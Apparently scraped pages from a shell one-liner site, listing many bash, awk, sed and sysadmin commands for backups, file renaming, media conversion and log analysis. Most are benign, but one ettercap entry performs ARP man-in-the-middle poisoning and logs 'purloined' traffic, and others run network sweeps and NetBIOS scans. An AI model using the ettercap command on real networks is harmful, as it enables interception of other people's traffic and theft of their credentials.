<robert@robert.com>" not changed gpg: Total number processed: 3 gpg: unchanged: 2 Functions: awk gpg grep sed This oneliner will update all the GPG keys that you have in your keyring. netstat -anpe anarcat@desktop006:~$ sudo netstat -anpe Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name Lists all opened sockets (not only listeners), no DNS resolution (so it's fast), the process id and the user holding the socket. Previous samples were limiting to TCP too, this also lists UDP listeners. od -An -w999 -t xC <<< "$1" | sed 's/[ ]\?\(c[23]\) \(..\)/%\1%\2/g;s/ /\\\\\x/g' | xargs echo -ne urlEncodeUTF8() { od -An -w999 -t xC <<< "$1" | sed 's/[ ]\?\(c[23]\) \(..\)/%\1%\2/g;s/ /\\\\\x/g' | xargs echo -ne;} urlEncodeUTF8 '?c?c?p!' %c2%a1c%c3%a4c%c3%adp! Functions: echo od sed xargs It only encodes non-Basic-ASCII chars, as they are the only ones not well readed by UTF-8 and ISO-8859-1 (latin-1). It converts all * C3 X (some latin symbols like ASCII-extended ones) and * C2 X (some punctuation symbols like inverted exclamation) ...UTF-8 double byte symbols to escaped form that every parser understands to form the URLs. I didn't encode spaces and the rest of basic punctuation, but supposedly, space and others are coded as \x20, for example, in UTF-8, latin-1 and Windows-cp1252.... so its read perfectly. Please feel free to correct, the application to which I designe that function works as expected with my assumption. Note: I specify a w=999, I didn't find a flag to put unlimited value. I just suppose very improbable surpass the de-facto 255 (* 3 byte max) = 765 bytes length of URL translate() { echo $1: $(wget -q -O - 'http://www.google.de/dictionary?source=translation&q='$1'&langpair=en|de' | grep '^<span class="dct-tt">.*</span>$' | sed 's!<span class="dct-tt">\(.*\)</span>!\1, !'); } translate with google, get all translations the google-api gives you only one translation which is sometimes insufficent. this function gives you all translations, so you can choose which one fits best. awk -F, '{print $1" "$2" "$NF}' foo.txt AWK: Set Field Separator from command line ‹ First < 155 156 157 158 159 > Last › <command> >NUL 2>&1 || ( echo <Command> not found. Please install <command> or check PATH variable! & pause & exit ) bash --version >NUL 2>&1 || ( echo Bash not found. Please install cygwin or check PATH variable! & pause & exit ) Bash not found. Please install cygwin or check PATH variable! Press any key to continue . . . Functions: echo exit install MSDOS command to check existance of command and exit batch if failed This is a command to be used inside of MS-DOS batch files to check existence of commands as preconditions before actual batch processing can be started. If the command is found, batch script continues execution. If not, a message is printed on screen, script then waits for user pressing a key and exits. An error message of the command itself is suppressed for clarity purpose. manswitch() { man $1 | grep -A5 "^ *\-$2"; } $ manswitch grep o ly mandates, for programs such as grep, cmp, and diff, that the exit Functions: grep man Find the usage of a switch with out searching through the entire man page. Usage: manswitch [cmd] [switch] Eg: manswitch grep silent ____________________________ In simple words man <cmd> | grep "\-<switch>" man grep | grep "\-o" This is not a standard method but works. awk 'length($0)!=12 {print}' your_file_name Print all lines in a file that are not a certain length Alternatively, print all the lines that are a certain length: awk 'length($0)==12 {print}' your_file_name arp-scan -I eth0 -l | perl -ne '/((\d{1,3}\.){3}\d{1,3})/ and $ip=$1 and $_=`nmblookup -A $ip` and /([[:alnum:]-]+)\s+<00>[^<]+<ACTIVE>/m and printf "%15s %s\n",$ip,$1' Functions: arp perl printf Scan for [samba|lanman] NetBIOS names and ip addresses in LAN by ARP. growisofs -Z /dev/dvd -J -r "directory name to burn on DVD" burn initial session on a growable DVD using growisofs replace "directory name to burn on DVD" with actual directory name that you want to copy on DVD function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; } On your computer : $ echo "test" | my_irc On your IRC client : -!- Nick [~Username@my_computer] has joined #chan < Nick> test -!- Nick [~Username@my_computer] has quit [Ping timeout] Functions: cat echo read rm Pipe the result of a command to IRC (channel or query) command | my_irc Pipe whatever you want to this function, it will, if everything goes well, be redirected to a channel or a user on an IRC server. Please note that : - I am not responsible of flood excesses you might provoke. - that function does not reply to PINGs from the server. That's the reason why I first write in a temporary file. Indeed, I don't want to wait for inputs while being connected to the server. However, according to the configuration of the server and the length of your file, you may timeout before finishing. - Concerning the server, the variable content must be on the form "irc.server.org 6667" (or any other port). If you want to make some tests, you can also create a fake IRC server on "localhost 55555" by using netcat -l -p 55555 - Concerning the target, you can choose a channel (beginning with a '#' like "#chan") or a user (like "user") - The other variables have obvious names. find . -type f -perm +200 -print find all writable (by user) files in a directory tree (use 4 for readable, 1 for executable) dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower.Suspend No need to be root to do that. Relies on UPower (previously known as DeviceKit-Power). pcharc(){ perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo;} pcharc '[:punct:]' !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ pcharc '\d[:upper:]' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ pcharc '\w' 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz Functions: cat perl print character classes Today I needed a way to print various character classes to use as input for a program I was writing. Also a nice way to visualize character classes. ifconfig | grep HWaddr | awk '{print $1,$5}' Functions: awk grep ifconfig function v { if [ -z $1 ]; then vim; else vim *$1*; fi } Lazy man's vim Reduce the number of keystrokes it takes to open a file in vim. First of all, you just need to type "v", which is less than half the number of characters (!), and second-of-all, you only need to enter a substring of the file you want to open. For example, if you want to open the file, homework.txt, then type "v hom" to open it. Good tip is to use the lowest unique substring, otherwise you'll open multiple files in different buffers (which is sometimes desirable). Use Ctrl-^ to switch between buffers. sudo nvram boot-args="-v" Enable verbose boot in Mac OS X Open Firmware who -u | grep -vE "^root " | kill `awk '{print $6}'` Only to logout all users except root sudo update-alternatives --config java There are 2 choices for the alternative java (providing /usr/bin/java). Selection Path Priority Status Press enter to keep the current choice[*], or type selection number: swap the java version being used You have openjdk and sun java installed. Many of your java plugins will not work properly. Something called IcedTea (the java web plugin) keeps crashing. Run this and select sun java to use sun java. read -d "" -rw-r--r-- 1 totti root 1 2011-10-25 23:13 a -rw-r--r-- 1 totti root 1 2011-10-25 23:59 a?b drwxr-xr-x 2 totti root 4096 2011-10-25 23:00 a?b?c -rw-r--r-- 1 totti root 1 2011-10-26 00:05 a?b.cd -rw-r--r-- 1 totti root 6 2011-10-25 23:09 a.t drwxr-xr-x 2 totti root 4096 2011-10-26 00:11 h"i Read null character seperated fields from a file Handle any bad named file which contains ",',\n,\b,\t,` etc Store the file name as null character separated list find . -print0 >name.lst and retrieve it using read -r -d "" find . -print0 >name.lst; cat name.lst| while IFS="" read -r -d "" file; do ls -l "$file"; done rename s/^/./ * ls -1 *.part1.rar | xargs -d '\n' -L 1 unrar e unrar all part1 files in a directory mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz no output, just a new file named something like "mysqldump-2009-06-12-07.41.01.tgz" get a mysqldump with a timestamp in the filename and gzip it all in one go Performs a mysqldump and gzip-compresses the output file with a timestamp in the resulting dump file. Inspect the file for integrity or fun with this command afterward, if you desire: zcat mysqldump-2009-06-12-07.41.01.tgz | less ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps dn: vendorName: Novell, Inc. vendorVersion: LDAP Agent for Novell eDirectory 8.8 SP2 (20216.51) directoryTreeName: willeketree dsaName: cn=ldapserver,ou=services,dc=willeke,dc=com readOps: 88723 extendedOps: 852 outBytes: 79936509 unAuthBinds: 3 securityErrors: 4 bindSecurityErrors: 4 abandonOps: 4 inBytes: 24976818 oneLevelSearchOps: 20811 inOps: 149230 simpleAuthBinds: 12544 errors: 117 searchOps: 109547 modifyEntryOps: 106 wholeSubtreeSearchOps: 11 compareOps: 1 addEntryOps: 1 strongAuthBinds: 0 repUpdatesOut: 0 repUpdatesIn: 0 modifyRDNOps: 0 listOps: 0 referralsReturned: 0 removeEntryOps: 0 chainings: 0 eDirectory LDAP Search for Statistics Find statistics for an Edirectory server form LDAPsearch. We have a lot more examples at: http://ldapwiki.willeke.com/wiki/Ldapsearch%20Examples The full command got shut off it is: ldapsearch -h ldapserver.willeke.com -p636 -e C:\mydata\treerootcert.der -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps compareOps wholeSubtreeSearchOps modifyEntryOps searchOps errors simpleAuthBinds inOps oneLevelSearchOps inBytes abandonOps bindSecurityErrors securityErrors unAuthBinds outBytes extendedOps readOps dsaName directoryTreeName vendorVersion vendorName mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist)) one-liner mpc track changer using dmenu Add a [fluxbox] binding in your key file then this command provides a dmenu selector for the next track to play sed -i 's/^\(somestring\)/#\1/' somefile.cfg Comment out all lines in a file beginning with string ps uw --ppid $PID Given $PID, print all child processes on stdout Simpler. df -i <partition> $ df -i /home/ Filesystem Inodes IUsed IFree IUse% Mounted on View the current number of free/used inodes in a file system tune2fs also provides the same information . But the information does not give the current usage , it gives the information when the file system was last mounted. http://www.zaman4linux.in/2010/10/using-up-all-the-free-inodes.html find . -type f -print0 | xargs -0 rename 's/\ //g' Functions: find rename xargs delete file name space the rename is rename perl version nmap -sP -T Insane 192.168.1.1-254 Starting Nmap 4.76 ( http://nmap.org ) at 2009-03-07 12:14 CET Host 192.168.1.1 appears to be up. Host 192.168.1.130 appears to be up. Host 192.168.1.170 appears to be up. Host 192.168.1.193 appears to be up. Nmap done: 254 IP addresses (4 hosts up) scanned in 2.70 seconds Ping a range of addresses ‹ First < 156 157 158 159 160 > Last › while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done hold period (or whatever character) and hit enter after a second. You need to make the next line of periods the same length as the previous line... score starts at 0 and increase each time length of line is same. grep <something> logfile | cut -c2-18 | uniq -c Count occurrences per minute in a log file The cut should match the relevant timestamp part of the logfile, the uniq will count the number of occurrences during this time interval. cp "/var/lib/mpd/music/`mpc --format '%file%' | head -n1`" /some/where/else Copy the currently playing song in MPD to somewhere else xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;} When you run an X program from a terminal you can see any errors. But when it's run from another X program (eg from a menu item, from your fluxbox 'keys' file etc) it might just die and you see nothing (except perhaps in .xsession-errors). Instead, launch it via this command and you'll see the termination status, stderr and stdout. eg: "xlaunch firefox" or "xlaunch 'echo stdout; echo stderr >&2; false'": 'echo stdout; echo stderr >&2; false' failed with error 1 STDERR: stderr STDOUT: stdout echo $(($(tr '\n' '+')0)) ^D sum numbers in the file (or stdin) add integers from the stdin and print out the result usually, cat /tmp/file | echo $(($(tr '\n' '+')0)) sed -i '<line_no>s/\(.*\)/#\1/' <testfile> commentate specified line of a file used when modify several configuration files with a single command ~ $ shopt -s autocd ~ $ /var/log /var/log $ /var/log $ apache /var/log/apache $ Automaticly cd into directory Makes bash-4.x like zsh. Automatic cd into a directory if a command with that name doesnt exists. Ready for your ~/.bashrc file wget -q -U "Mozilla/5.0" --post-file speech.flac --header="Content-Type: audio/x-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium" {"status":0,"id":"7c5893bbf1eb378686bdf3aa369f1a44-1","hypotheses":[{"utterance":"hello world","confidence":0.6340324}]} Google voice recognition "API" The FLAC audio must be encoded at 16000Hz sampling rate (SoX is your friend). Outputs a short JSON string, the actual speech is in the hypotheses->utterance, the accuracy is stored in hypotheses->confidence (ranging from 0 to 1). Google also accepts audio in some special speex format (audio/x-speex-with-header-byte), which is much smaller in comparison with losless FLAC, but I haven't been able to encode such a sample. perl -pe 's/\d+/++$n/e' file.txt (1) aaa (2) new line (3) ccc (4) aaa re-assign line numbers mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884 ** typical mplayer output ** play audio stream and video stream in two different mplayer instances Sometimes audio and video are not sync'ed. The factor 1.0884 is the quotient 48000/44100. One mplayer plays the audio file in the background, the other the video in the foreground. You can dump the audio file before with another commandlinefu while true; do if wget http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-i386.iso.torrent; then ktorrent --silent ubuntu-10.04-desktop-i386.iso.torrent ; date; break; else sleep 5m; fi; done Functions: sleep wget Automatically download Ubuntu 10.04 when available Tested with 9.10 release. Choose whatever torrent client you prefer. awk 'BEGIN{RS="\0"}{gsub(/\n/,"<SOMETEXT>");print}' file.txt $ echo -e "asdf\n\n\nqwerty\nasdf\n" | awk 'BEGIN{RS="\0"}{gsub(/\n/,"<SOMETEXT>");print}' asdf<SOMETEXT>qwerty<SOMETEXT>asdf<SOMETEXT> awk version of 7210. Slightly longer, but expanding it to catch blank lines is easier: awk 'BEGIN{RS="\0"}{gsub(/\n+/,"<SOMETEXT>");print}' file.txt MyVAR=86; awk -v n=$MyVAR '{print n}' ls -Fart list all files in a directory, sorted in reverse order by modification time, use file descriptors. It's both silly, and infinitely useful. Especially useful in logfile directories where you want to know what file is being updated while troubleshooting. awk '{if(NR==1)sub(/^\xef\xbb\xbf/,"");print}' text.txt > newFile.txt Remove BOM (Byte Order Mark) from text file Takes file (text.txt), removes BOM from it, and outputs the result to a new file (newFile.txt). BOM is "Byte Order Mark" ([http://en.wikipedia.org/wiki/Byte_order_mark]), an invisible, non-breaking, zero-length character. In other words, if you see a DIFF with "" at the beginning, you've got a byte order mark, which can't be removed without this command or a hex editor. It can appear for a number of reasons, such as getting copied to/from a UNIX filesystem... for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv $i $nuname; done move all the .bak backup copies to their original names (rename files by stripping the extension) rename a pattern matched files by stripping off the extension for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done Equivalent to ifconfig -a in HPUX apropos <part_rember> | less apropos pdf | less acroread (1) - Adobe PDF Viewer for viewing PDF files on X Window System. dvipdf (1) - Convert TeX DVI file to PDF using ghostscript and dvips evince-thumbnailer (1) - create png thumbnails from PostScript and PDF documents foomatic-ppdfile (1) - Generate a PPD file for a given printer/driver combo ghostscript (1) - Ghostscript (PostScript and PDF language interpreter and previewer) gs (1) - Ghostscript (PostScript and PDF language interpreter and previewer) gsnd (1) - Run ghostscript (PostScript and PDF engine) without display pdf2dsc (1) - generate a PostScript page list of a PDF document pdf2ps (1) - Ghostscript PDF to PostScript translator pdffonts (1) - Portable Document Format (PDF) font analyzer (version 3.00) pdfimages (1) - Portable Document Format (PDF) image extractor (version 3.00) pdfinfo (1) - Portable Document Format (PDF) document information extractor (version 3.00) pdfopt (1) - Ghostscript PDF Optimizer pdftohtml (1) - program to convert pdf files into html, xml and png images pdftoppm (1) - Portable Document Format (PDF) to Portable Pixmap (PPM) converter (version 3.00) pdftops (1) - Portable Document Format (PDF) to PostScript converter (version 3.00) pdftotext (1) - Portable Document Format (PDF) to text converter (version 3.00) ps2ascii (1) - Ghostscript translator from PostScript or PDF to ASCII ps2pdf (1) - Convert PostScript to PDF using ghostscript ps2pdf12 (1) - Convert PostScript to PDF 1.2 (Acrobat 3-and-later compatible) using ghostscript ps2pdf13 (1) - Convert PostScript to PDF 1.3 (Acrobat 4-and-later compatible) using ghostscript ps2pdf14 (1) - Convert PostScript to PDF using ghostscript ps2pdfwr (1) - Convert PostScript to PDF without specifying CompatibilityLevel, using ghostscript (END) Get full from half remembered commands Show all commands having the part known by you. apropos pdf | less NAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" && NAME="NO_NAME"; echo "$NAME" Functions: echo nslookup sed test Get fully qualified domain names (FQDNs) for IP address with failure and multiple detection >realpath ./somefile.c | xclip -selection c Copy the full path of a file to the clipboard (requires xclip or similar) Handy for those times you need to paste a file path in an IDE or some other app. sudo apt-get install xclip Then, for convenience, alias xclip to 'xclip -selection c' so you can just do something like realpath . | xclip WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done ta_XXXX: goin to see harry potter 2moro with manda and karianne! yay i get to drool over ron weasley! gis_XXX: At movies, watching Harry Potter movie. drfrXXX: Las palabras m?s twitteadas del d?a: ?Harry Potter? ann_XXX: going to cristinas. mall wit allison and cristina. harry potter with cristina. Single Line Twitter-Tracker Search [or track] for a list of words, in the Twitter Public Time Line. Connect every 5 min to get new results [due to the "150 per hour" rate limit]. (More info: http://bit.ly/qQaji) for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done Functions: awk fgrep host sed List hostnames of all IPs lame -V2 rec01.wav rec01.mp3 convert wav into mp3 using lame wget -k -r -l 5 http://gentoo-install.com -k -> convert-links (to browse offline) -r -> recursive download -l 5 -> level 5 example. http://gentoo-install.com :-) ls [FILENAME] | xargs openssl sha1 7za e ./Tomato_1_25.7z ls WR*.bin | xargs openssl sha1 SHA1(WR850G.bin)= 0bc270630cb63c9933da4cd2fee2a964e250e97b SHA1(WRT54GS.bin)= 1b3264845575ac7735b949d8f57c9d2caef5712a SHA1(WRT54GSv4.bin)= ed8933a0ce41d3404ce012093fd1746f1846940c SHA1(WRT54G_WRT54GL.bin)= 738ac48ea477b0e6f6054332c293cf0aaf55b1be SHA1(WRTSL54GS.bin)= 4701058caadc4f0e97e90eb891586583b0b0838b List files and pass to openssl to calculate the hash for each file. ‹ First < 157 158 159 160 161 > Last › sudo truecrypt <truecrypt-file> <mount-point> Mount a truecrypt drive from a file from the command line interactively It seems to completely void the benefit of having an encrypted folder if you then have a script on your unencrypted hard drive with your password in it. This command will mount a truecrypt file at a given mount point after asking you for the password. kaffeine $(wget -qO- "http://questions-pour-un-champion.france3.fr/emission/index-fr.php?page=video&type_video=quotidiennes&video_courante=$(date +%Y%m%d)" | grep -o "mms.*wmv" | uniq) kaffeine could be replaced by any player able to read mms stream find / -type f -size +500000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' Find the biggest files on your hard drive su -c "vncserver -depth 32 -geometry 1024x768" username start a VNC server for another user if [ $(date +%u) -lt 6 ];then AT="tomorrow"; else AT="next monday";fi;echo "beep" | at ${AT} Functions: at date echo Get the next weekday for an 'at' command Line can be modified as needed. This considers weekdays to be Mon-Fri. If run any working day it'll provide a parameters for the next working day for "at". "beep" provided as a sample command. This can be modified easily to include wait time. If you need something to run "D" days after today: # D=4;if [ $(date +%u --date="${D} days") -lt 5 ];then AT="+${D} days";else AT="next monday";fi; echo "beep" | at noon ${AT} mysql --database=information_schema -u <user> -p -e "SELECT TABLE_NAME, TABLE_SCHEMA, SUM(DATA_LENGTH + INDEX_LENGTH)/1024/1024 mb FROM TABLES GROUP BY TABLE_NAME ORDER BY mb DESC LIMIT 10" Get a list of the top 10 heaviest tables in your mysql database - useful for performance diagnostics enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow print code 3-up and syntax-highlighted for easy beach-time study This is the setup I'm using for my largest project. It gives 357 lines per page (per side), which makes it fairly easy to carry around a significant amount of code on a few sheets of paper. Try it. (I stick to the 80 column convention in my coding. For wider code, you'll have to adjust this.) alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0 masterMute\(\) | sed -e 's/true/muted/' -e 's/false/unmuted/' " KDE Mixer Master Mute/Unmute arguably better than using the driver interface. lots of potentially cool stuff to be done w/ the dcop client. for x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do pg_dump -C $x | gzip > /var/lib/pgsql/backups/$x-nightly.dmp.gz; done Functions: awk egrep gzip for x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do pg_dump -C $x | gzip > /backups/$x-back.gz Ran as the postgres user, dumps each database individually. It dumps with the create statements as well, so you can just 'zcat $x-nightly.dmp.gz | psql' to reimport/recreate a database from a backup. lucreate -n be1 [-c be0] -p zpool1 Creating configuration for boot environment <be1>. Source boot environment is <be0>. Creating boot environment <be1>. Creating file systems on boot environment <be1>. Creating <zfs> file system for </> in zone <global> on <zpool1/ROOT/abe>. Populating file systems on boot environment <be1>. Checking selection integrity. Integrity check OK. Populating contents of mount point </>. Copying. Creates Solaris alternate boot environment on another zpool. PS: 'lustatus' gives the list of all alternate boot environments. :%s/\([^\"]\)\(\n\)/\1 /g VIM subst any char different from literal " + EOL with searched string + white space ---- this line ends here but must be concatenated with this one "this line ends here" and should NOT be concatenated with this one ifconfig | awk '/inet / {sub(/addr:/, "", $2); print $2}' Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes; Functions: at mv Add temporary entry to authorized_keys If you frequently need to connect to your ubersecure mainframe from various uberunsafe machines, you have to face difficult decision: (a) type the password everytime during the session (lame), (b) add local public key to mainframes authorized_keys file (unsafe), (c) as above, but remove this key at the end of the session (pain in the a55). So let's say you save The Command to tempauth file in bin directory of your mainframe's account and make it executable. Then, while you're on one of these unsafe ones, do: cat $HOME/.ssh/id_rsa.pub|ssh 5z474n@mainframe.nl bin/tempauth 30 and password prompts stop the harassment for 30 minutes and you don't have to care to remove the unsafe key after that. nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}' 208.94.116.176 Functions: awk nslookup sed tail Get the ip registered to a domain on OpenWRT I use this in a script on my openwrt router to check if my DynDNS needs to be updated, saves your account from being banned for blank updates. egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq 192.33.68.00 192.168.1.66 155.63.49.15 Functions: awk egrep Grep auth log and print ip of attackers Work for me on CentOS, grep and print ip addresses of ssh bruteforce attempts mplayer -novideo something.mpg :exe "!wmctrl -r ".v:servername." -b toggle,fullscreen" gvim in full screen (execute again to toggle full screen on/off) Only under linux. Requires Gvim compiled with "clientserver" functionality and wmctrl command installed on system. Instead of servername can be used the current edited file name. Put it in a function and map it for get rid of "Press a key" after execution. sed "s/^ *//;s/ *$//;s/ \{1,\}/ /g" filename.txt Original: AAA AAA AAA After sed: AAA AAA AAA Remove multiple spaces The command removes all the spaces whithin a file and leaves only one space. ls -Fhitlar bash-3.2$ ls -Fhitlar total 16K 11865157 drwx--S--- 4 srinis22 apac 4.0K Jul 11 05:58 ../ 13783814 -rwxrwxrwx 1 srinis22 apac 0 Jul 11 05:58 bcd.sql* 13783815 -rwxrwxrwx 1 srinis22 apac 0 Jul 11 05:58 code.cc* 13783816 -rwxrwxrwx 1 srinis22 apac 0 Jul 11 05:58 script.sh* 13783817 drwxrwxrwx 2 srinis22 apac 4.0K Jul 11 05:59 dir1/ 13783818 drwxrwxrwx 2 srinis22 apac 4.0K Jul 11 05:59 dir2/ 13783812 drwxr-sr-x 4 srinis22 apac 4.0K Jul 11 05:59 ./ 13783819 -rwxrwxrwx 1 srinis22 apac 0 Jul 11 05:59 asdf* bash-3.2$ list files in 'hitlar' mode Was playing with the shell. It struck to me, just by rearranging the parameters, i was able to remember what they did and in a cool way. Enter the 'hitlar' mode. bash-3.2$ ls -hitlar Shows all items with inodes, in list view, human readable size, sorted by modification time in reverse, bash-3.2$ ls -Fhitlar Shows the same with classification info. Add the hitlar mode alias to your .bashrc. bash-3.2$ echo "alias hitlar='ls -Fhitlar'" >> ~/.bashrc bash-3.2$ hitlar bash-3.2$ hitlar filename ls -1 . dir2 dir3|sort|uniq -d Find files with the same names in several directories. cat file1 file2 file3|sort|uniq -d finds the same lines in several files, especially in files with lists of files. sudo du -sh $(ls -d */) 2> /dev/null Functions: du ls sudo iscsiadm -m discovery -t sendtargets -p 192.168.20.51 192.168.20.51:3260,1 iqn.2006-01.com.openfiler:tsn.d2eafd167b8d Open-iscsi target discovery tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log Functions: kill sleep tail wc Lines per second in a log file Another way of counting the line output of tail over 10s not requiring pv. Cut to have the average per second rate : tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log | cut -c-2 You can also enclose it in a loop and send stderr to /dev/null : while true; do tail -n0 -f access.log>/tmp/tmp.log & sleep 2; kill $! ; wc -l /tmp/tmp.log | cut -c-2; done 2>/dev/null rsync -av --link-dest=$(ls -1d /backup/*/ | tail -1) /data/ /backup/$(date +%Y%m%d%H%M)/ /backup# du -hs . 1.5G . /backup# du -hs * /backup# du -hs 201008042142; du -hs 201008050022 Functions: date ls rsync tail 'data' is the directory to backup, 'backup' is directory to store snapshots. Backup files on a regular basis using hard links. Very efficient, quick. Backup data is directly available. Same as explained here : http://blog.interlinked.org/tutorials/rsync_time_machine.html in one line. Using du to check the size of your backups, the first backup counts for all the space, and other backups only files that have changed. du --max-depth=1|sort -n|cut -f2|tr '\n' '\0'|xargs -0 du -sh 2>/dev/null Functions: cut du sort tr xargs ‹ First < 158 159 160 161 162 > Last › Using Git, stage all manually deleted files. -u tells git to automatically stage all changes to files in the index (eg. deleted and modified files). See: http://stackoverflow.com/questions/1402776/how-do-i-commit-all-deleted-files-in-git http://kernel.org/pub/software/scm/git/docs/git-add.html fileName(){ echo ${1##*/}; } Alternative for basename using grep to extract file name Here's a bash version. dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN; complete extraction of a debian-package extracts the debian-package $debfile to $extractdir, including all packaging-information. to repack the package, just type: dpkg-deb -b $extractdir w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>][^>]*>/, "", $0); print $0}' Get a funny one-liner from www.onelinerz.net Put this command in .bashrc and every time you open a new terminal a random quote will be downloaded and printed from onelinerz.net. By altering the URL in the w3m statement you can change the output: 1 to 10 lines - http://www.onelinerz.net/random-one-liners/(number)/ Top 10 lines - http://www.onelinerz.net/top-100-funny-one-liners/ Top 10 lines are updated daily. qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\n' | sort -u | qfile --from - # checkrdeps radvd sys-libs/glibc (/lib64/libc.so.6) sys-libs/glibc (/lib32/libc.so.6) Functions: sort sudo tr Check (partial) runtime-dependencies of Gentoo ebuilds The output is only partial because runtime dependencies should count in also commands executed via system() and libraries loaded with dlopen(), but at least it gives an idea of what a package directly links to. Note: this is meaningful *only* if you're using -Wl,--as-needed in your LDFLAGS, otherwise it'll bring you a bunch of false positives. vim ... :nmap <F5> :w^M:!python %<CR> This prints the output of my python script Press ENTER or type command to continue Using vim to save and run your python script. This will save and execute your python script every time your press the F5 function key. It can also be added to your .vimrc: autocmd BufRead *.py nmap :w^M:!python % NOTE: the ^M is not just caret-M, it can be created by type: ctrl-v ctrl-m sed -i -e "s/text to replace/final text/g" file Replacing text in text files For replacing inline expression for every line in a certain file. ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3' | mysql -u <localusername> -p<localdbpassword> <localdbname> < /dev/stdin A command to copy mysql tables from a remote host to current host via ssh. In the example above 3 tables are copied. You can change the number of tables. You should be able to come up with variants of the command by modifying the mysqldump part easily, to copy some part of remote mysql DB. perl -MPOSIX -e 'print strerror($ARGV[0])."\n";' ERRNO Lookup errno defintions Calls the POSIX strerror() function to look up the meaning of integer ERRNOs set by some functions. for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done Batch convert PNG to JPEG Convert all PNG images in directory to JPEG using ImageMagick, and delete the old PNG images. ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log ettercap.. There weren't any one liners for ettercap on this site... tisk tisk :-) (of course you'll have to plugin your own values for the variables..) alias -g R=' &; jobs | tail -1 | read A0 A1 A2 cmd; echo "running $cmd"; fg "$cmd"; zenity --info --text "$cmd done"; unset A0 A1 A2 cmd' Functions: alias echo fg jobs read tail unset zsh suffix to inform you about long command ending make, find and a lot of other programs can take a lot of time. And can do not. Supppose you write a long, complicated command and wonder if it will be done in 3 seconds or 20 minutes. Just add "R" (without quotes) suffix to it and you can do other things: zsh will inform you when you can see the results. You can replace zenity with other X Window dialogs program. flvtool2 -C -i 1140000 -o 1200000 input output Cut flv video from minute 19 to minute 20 using flvtool2 We should calculate the video duration to milliseconds, 1 minute = 60000 milliseconds for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done Replace spaces in filename This command will replace spaces in filename with underscore, for all file in directory that contain spaces. rpm -q --queryformat %{VERSION}\\n pkgname 1.93 Show a Package Version on RPM based distributions if you want to see all information about a package use: rpm -qi pkgname full list of querytags can be accessed by the command: rpm --querytags you can also customize the query format how ever you like with using more querytags together along with escape sequences in "man printf"! you can also use more than one package name. for example this command shows name and version in to columns: rpm -q --queryformat %-30{NAME}%{VERSION}\\n pkg1 pkg2 goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for i in *.[Mm][Pp]3; do lame --decode "$i" "$d/${i%%.*}.wav"; done; sudo cdrecord -pad $d/* && 